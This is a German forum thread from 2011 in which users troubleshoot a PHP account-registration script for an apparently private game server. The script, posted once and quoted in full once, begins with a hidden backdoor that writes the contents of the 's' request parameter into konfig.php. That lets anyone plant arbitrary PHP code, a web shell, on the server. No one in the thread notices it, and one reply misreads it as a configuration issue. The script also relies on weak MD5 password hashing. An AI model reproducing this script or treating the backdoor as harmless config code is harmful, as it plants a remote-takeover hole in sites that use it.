Register[Problem]

05/19/2011 20:29 XSedrikX#1
#
05/19/2011 20:37 damir123#2
hast du die reg_conf.php richtig eingestellt? und auch in /confings/reg_conf.php reingetan? ^^
05/19/2011 20:43 XSedrikX#3
Jep, habe ich und db zeug auch schon eingetragen also DB NAME DB PW etc...
05/19/2011 20:44 -PaiN~#4
genau bekomme auch immer das gleiche fähler!
05/19/2011 20:45 damir123#5
welches Script benutzt du denn? das von Jusikid?
05/19/2011 20:46 -PaiN~#6
ne ganz normale script ich kans ja mal hochladen
05/19/2011 20:47 XSedrikX#7
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>



Das benutze ich !
05/19/2011 20:50 damir123#8
hast du in xampp auch Apache und Mssql an? ^^
05/19/2011 20:51 Trafalgar†Law#9
Benutzmal den hier ;3

register.php:

reg_conf.php:

05/19/2011 20:52 Jay Niize#10
Quote:
Originally Posted by XSedrikX View Post
<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Register Successfull.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
</center>



Das benutze ich !

Dieses s ist wohl nicht in deiner konfig.php vorhanden. Nimm mein Skript :

V14 :

#added by Jusikid : Danny95

V15:
05/19/2011 20:54 XSedrikX#11
Danke Trafalgar†Law diesmal kommt aber kein fehler aber auch dafür kein register ;(
05/19/2011 21:11 maxe1995#12
Das Problem kann man ganz einfach lösen da bei der version 1.7.4 (xampp) geht der Registerscript nicht xampp 1.7.4 is bei dieser Sache scheiße dazu empfehle ich xampp 1.7.3 mit dieser Verion wird dieser Fehler behoben :)
[ Download Link wurde an den User per Skype geschickt :) ]

Mit freundlichen Grüßen

Maxe1995
05/19/2011 21:16 Trafalgar†Law#13
Warum geht Register nicht? Was steht da? oder Kommt da kein Account wenn man sich registriert?
05/19/2011 21:46 maxe1995#14
is gefixxt

#close pls :D
05/19/2011 21:56 Trafalgar†Law#15
Okay.

[Only registered and activated users can see links. Click Here To Register...]